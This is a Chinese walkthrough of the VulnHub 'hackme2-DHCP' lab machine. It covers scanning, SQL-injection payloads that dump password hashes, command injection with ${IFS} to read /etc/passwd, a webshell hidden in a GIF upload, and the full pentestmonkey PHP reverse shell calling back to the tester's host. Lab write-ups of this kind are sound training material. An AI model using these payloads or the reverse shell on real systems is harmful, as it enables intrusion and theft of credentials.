vulnhub----hackme2-DHCP靶机

news2025/2/27 5:28:54

文章目录

  • 一,信息收集
    • 1.网段探测
    • 2.端口扫描
    • 3.目录扫描
  • 二,信息分析
  • 三,sql注入
    • 1.判断SQL注入
    • 2.查询显示位
    • 3.查询注入点
    • 4.查询库
    • 5.查询表
    • 6.查字段
    • 7. 查user表中的值
    • 8.登陆superadmin用户
  • 四,漏洞利用
    • 文件上传
    • 命令执行
    • 蚁剑连接
  • 五,反弹shell
    • 1.上传php木马文件
    • 2.本地监听
  • 六,提权

一,信息收集

1.网段探测

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.163.28
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.163.152 d2:a6:97:bb:46:9d       (Unknown: locally administered)
192.168.163.193 00:0c:29:01:34:57       VMware, Inc.
192.168.163.209 7c:b5:66:a5:f0:a5       Intel Corporate

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.946 seconds (131.55 hosts/sec). 3 responded

2.端口扫描

┌──(root㉿kali)-[~]
└─# nmap -Pn 192.168.163.193              
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-26 00:43 EST
Nmap scan report for 192.168.163.193
Host is up (0.00056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:01:34:57 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p- 192.168.163.193      
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-26 00:43 EST
Nmap scan report for 192.168.163.193
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6ba824d6092fc99a8eabbc6e7d4eb9ad (RSA)
|   256 abe84f5338062c6af392e3974a0e3ed1 (ECDSA)
|_  256 327690b87dfca4326310cd676149d6c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.34 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.34 (Ubuntu)
MAC Address: 00:0C:29:01:34:57 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.60 seconds

3.目录扫描

┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.163.193" -x 403,404,500

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /root/reports/http_192.168.163.193/_24-02-26_00-44-22.txt

Target: http://192.168.163.193/

[00:44:22] Starting: 
[00:44:41] 200 -    0B  - /config.php                                       
[00:44:51] 200 -  527B  - /login.php                                        
[00:44:52] 302 -    0B  - /logout.php  ->  login.php                        
[00:45:01] 200 -  594B  - /register.php                                     
[00:45:09] 301 -  320B  - /uploads  ->  http://192.168.163.193/uploads/     
                                                                             
Task Completed
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://192.168.163.193"    
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.163.193
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 320] [--> http://192.168.163.193/uploads/]
/server-status        (Status: 403) [Size: 303]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished

二,信息分析

访问http://192.168.163.193/login.php,是一个登陆页面,弱密码进不去
在这里插入图片描述
通过目录扫描,访问扫http://192.168.163.193//register.php,是一个注册页面,注册账号登陆试试
在这里插入图片描述

登陆后,发现是一个查询的页面,猜测有sql注入,不输入任何数据,出现表单
在这里插入图片描述

三,sql注入

我是用抓包形式,进行sql注入,个人认为比较方便

1.判断SQL注入

在OSINT后加一个',页面不显示,任何东西,说明有sql注入
在这里插入图片描述在这里插入图片描述在查显示位,猜测有空格过滤
在这里插入图片描述

2.查询显示位

空格过滤
/**/

在这里插入图片描述
在这里插入图片描述

3.查询注入点

search=-OSINT'/**/union/**/select/**/1,2,3#

在这里插入图片描述

4.查询库

search=-OSINT'/**/union/**/select/**/1,2,database()#
在这里插入图片描述

5.查询表

search=OSINT'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema='webapphacking'#

在这里插入图片描述

6.查字段

OSINT'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'#

在这里插入图片描述

7. 查user表中的值

search=OSINT'/**/union/**/select/**/group_concat(user,":",pasword),2,3/**/from/**/users#

在这里插入图片描述

user1:5d41402abc4b2a76b9719d911017c592,
user2:6269c4f71a55b24bad0f0267d9be5508,
user3:0f359740bd1cda994f8b55330c86d845,
test:05a671c66aefea124cc08b76ea6d30bb,
superadmin:2386acb2cf356944177746fc92523983,
test1:05a671c66aefea124cc08b76ea6d30bb,
admin:e64b78fc3bc91bcbc7dc232ba8ec59e0,
asd:e64b78fc3bc91bcbc7dc232ba8ec59e0

https://www.somd5.com/
在这里插入图片描述

superadmin/Uncrackable

8.登陆superadmin用户

在这里插入图片描述

四,漏洞利用

文件上传

白名单

在这里插入图片描述

命令执行

在last name中,发现执行点
在这里插入图片描述

在这里插入图片描述

空格过滤
system('cat${IFS}/etc/passwd')
system('cat$IFS$1/etc/passwd')

在这里插入图片描述查看uploads目录,因为uploads只能上传图片格式的文件,所有我们上传恶意的图片,然后通过命令执行更改后缀名
在这里插入图片描述

system('ls${IFS}-al${IFS}/var/www/html/uploads')

在这里插入图片描述

year2020这个是上传的目录
system('ls${IFS}-al${IFS}/var/www/html/uploads/year2020')

在这里插入图片描述

上传恶意的图片

GIF89a
<?php @eval($_POST['c']);?>

在这里插入图片描述

修改后缀
system('mv${IFS}/var/www/html/uploads/year2020/1.jpg${IFS}/var/www/html/uploads/year2020/1.php')
执行成功后,查看

在这里插入图片描述

访问
http://192.168.163.193/uploads/year2020/1.php

在这里插入图片描述

蚁剑连接

在这里插入图片描述

五,反弹shell

1.上传php木马文件

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.163.209';
$port = 6666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

在这里插入图片描述

2.本地监听

在这里插入图片描述

六,提权

呃,这个提权。。。。。。。。。。。
在legacy目录下有一个可执行文件,直接执行,就是root权限

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1473542.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JavaWeb个人学习

1:RequestParam(defaultValue "默认的值") 这个可以在一个参数的前面写上 要是前端不传值进来的话 这个形参就是你定义的默认值 2: slf4j 对应的是日志的输出 log.info("参数是 {}", detail); 3: 分页插件 PageHelper 用法: 准备工作: 引入依赖 …

MySQL之Pt-kill工具

工具下载 [rootlocalhost1 bin]# wget percona.com/get/percona-toolkit.tar.gz [rootlocalhost1 bin]# yum install perl-DBI [rootlocalhost1 bin]# yum install perl-DBD-MySQL [rootlocalhost1 bin]# ./pt-kill --help1、每10秒检查一次&#xff0c;发现有 Query 的进程就…

SpringBoot:Invalid bound statement (not found)的原因和解决方案

&#x1f413; 报错信息&#xff1a; &#xff08;无效绑定声明&#xff09;找不到 解析&#xff1a; 你的mapper实例对象和对应的mapper.xml对象未找到 &#x1f413; 排查&#xff1a; 情况一&#xff1a; 1.排除相对应的mapper实例对象路径是否正确 查看相对应的mapper中…

【数据结构】B树,B+树,B*树

文章目录 一、B树1.B树的定义2.B树的插入3.B树的中序遍历 二、B树和B*树1.B树的定义2.B树的插入3.B*树的定义4.B树系列总结 三、B树与B树的应用 一、B树 1.B树的定义 1. 在内存中搜索效率高的数据结构有AVL树&#xff0c;红黑树&#xff0c;哈希表等&#xff0c;但这是在内存…

协同共生,价值共创。璞华集团以客户为中心的协作发展之道

协同共生&#xff0c;价值共创。 当一个公司所有人都自发地向着同一个目标协同奋进的时候&#xff0c;没有理由不相信将会有好事发生。协同共生&#xff0c;价值共创&#xff0c;在璞华集团已经成为自然而然的、植根于日常行动的主旋律。 璞华集团&#xff0c;一家以长期主义…

Go语言基本语法

Go语言基本语法 设置 GOPATH 环境变量 开始写 go 项目代码之前&#xff0c;需要我们先配置好环境变量。编辑 ~/.bash_profile&#xff08;在终端中运行 vi ~/.bash_profile 即可&#xff09;来添加下面这行代码&#xff08;如果你找不到 .bash_profile&#xff0c;那自己创建…

每日五道java面试题之spring篇(七)

目录&#xff1a; 第一题. 什么是Spring beans&#xff1f;第二题. 一个 Spring Bean 定义 包含什么&#xff1f;第三题. 如何给Spring 容器提供配置元数据&#xff1f;Spring有几种配置方式?第四题. Spring基于xml注入bean的几种方式?第五题&#xff1a;你怎样定义类的作用域…

41.仿简道云公式函数实战-数学函数-SUMIF

1. SUMIF函数 SUMIF 函数可用于计算子表单中满足某一条件的数字相加并返回和。 2. 函数用法 SUMIF(range, criteria, [sum_range]) 其中各参数的含义及使用方法如下&#xff1a; range&#xff1a;必需&#xff1b;根据 criteria 的条件规则进行检测的判断字段。支持的字段…

prime_series_level-1靶场详解

环境搭建 官网https://www.vulnhub.com/entry/prime-1,358/ 直接导入靶机 解题思路 arp-scan -l 确认靶机ip为192.168.236.136 也可以使用nmap扫网段 nmap -sn 192.168.236.0/24 使用nmap扫描靶机开放的端口 nmap -sS -T5 --min-rate 10000 192.168.236.136 -sC -p- &#xf…

ABBYY FineReader16文档转换、PDF管理与文档比较功能介绍

ABBYY FineReader 16作为一款OCR和PDF一体化程序&#xff0c;其强大的功能使得文档处理变得简单高效。在众多功能中&#xff0c;文档转换、PDF管理和文档比较这三大功能尤为突出&#xff0c;成为了众多企业和个人用户的首选工具。 ABBYY Finereader 16-安装包下载如下&#xff…

好书推荐丨AI绘画全面精通:软件平台+脚本文案+设计制作+案例实战

文章目录 写在前面AI绘画推荐图书图书简介本书特色作者简介 推荐理由粉丝福利写在后面 写在前面 本期博主给大家带来了一本全新出版的AI绘画类书籍&#xff0c;《AI绘画全面精通&#xff1a;软件平台脚本文案设计制作案例实战》&#xff0c;对人工智能感兴趣的小伙伴快来看看吧…

什么时候要用到Reflect API?

参考文档 https://www.zhihu.com/question/460133198 https://cn.vuejs.org/guide/extras/reactivity-in-depth.html https://juejin.cn/post/7103764386220769311 Reflect API 一般搭配 Proxy API 一起使用。什么是 Proxy API 呢&#xff1f; 先回顾下 vue 的数据响应性是如何…

27-树-左叶子之和

这是树的第27篇算法&#xff0c;力扣链接。 给定二叉树的根节点 root &#xff0c;返回所有左叶子之和。 示例 1&#xff1a; 输入: root [3,9,20,null,null,15,7] 输出: 24 解释: 在这个二叉树中&#xff0c;有两个左叶子&#xff0c;分别是 9 和 15&#xff0c;所以返回 2…

前后端项目宝塔linux部署(springboot,vue,python)

宝塔linux安装就省略了&#xff0c;网上一堆 1.部署后端 1.首先把自己项目里面打包好的的jar包上传到服务器随便一个地方&#xff0c;我这里就上传到www/wwwroot下面了&#xff0c;宝塔的文件页面可以很便携上传 2.然后到下面这个页面 选那个java环境管理装个jdk&#xff…

在github的README.md中插入视频;在github的README.md中添加gif演示动画

最近需要再github中上传项目的源代码&#xff0c;应导师的要求&#xff0c;需要再README中加入对实验视频的展示&#xff0c;但是github的README.md其实就是一个markdown文件&#xff0c;据我的理解这个文件里应该无法直接插入视频吧&#xff1f;&#xff08;如果后续有办法直接…

【postgresql】数据表id自增与python sqlachemy结合实例

需求&#xff1a; postgresql实现一个建表语句&#xff0c;表名&#xff1a;student,字段id,name,age&#xff0c; 要求&#xff1a;每次添加一个数据id会自动增加1 在PostgreSQL中&#xff0c;您可以使用SERIAL或BIGSERIAL数据类型来自动生成主键ID。以下是一个创建名为stude…

2024环境,资源与绿色能源国际会议(ICERGE2024)

2024环境&#xff0c;资源与绿色能源国际会议(ICERGE2024) 一、【会议简介】 2024环境、资源与绿色能源国际会议(ICERGE2024)将于2024年在三亚举行。该会议是一个围绕环境、资源与绿色能源研究领域的国际学术交流活动。 会议主题包括但不限于环境科学、环境工程、资源利用、绿…

C++之类和对象(2)

目录 1.类的6个默认成员函数 2. 构造函数 2.1 概念 2.2 特性 3.析构函数 3.1 概念 3.2 特性 4. 拷贝构造函数 4.1 概念 4.2 特征 5.赋值运算符重载 5.1 运算符重载 5.2 赋值运算符重载 2. 赋值运算符只能重载成类的成员函数不能重载成全局函数 3. 用户没有显式实现时&…

pycharm如何安装pygame库

pycharm如何安装pygame库 PyCharm是Python中广受欢迎的一种IDE&#xff0c;它可以为用户提供许多工具和便利的服务&#xff0c;从而大大提高开发效率。pygame库可以用python进行游戏开发提供很好的支持&#xff0c;那么在ptcharm中如何安装pygame库呢&#xff1f; 一、安装步…

Sora背后的技术原理解析(简单易懂版本)

本篇文章是OpenAI发布的最强AI视频生成工具Sora技术详解&#xff08;非官方&#xff09;&#xff0c;然而&#xff0c;Sora的野心远不止是视频生成&#xff0c;而是作为一个世界模型。之前的文章中已经介绍了很多关于文生图的相关技术&#xff0c;相信有了文生图的基础后再来学…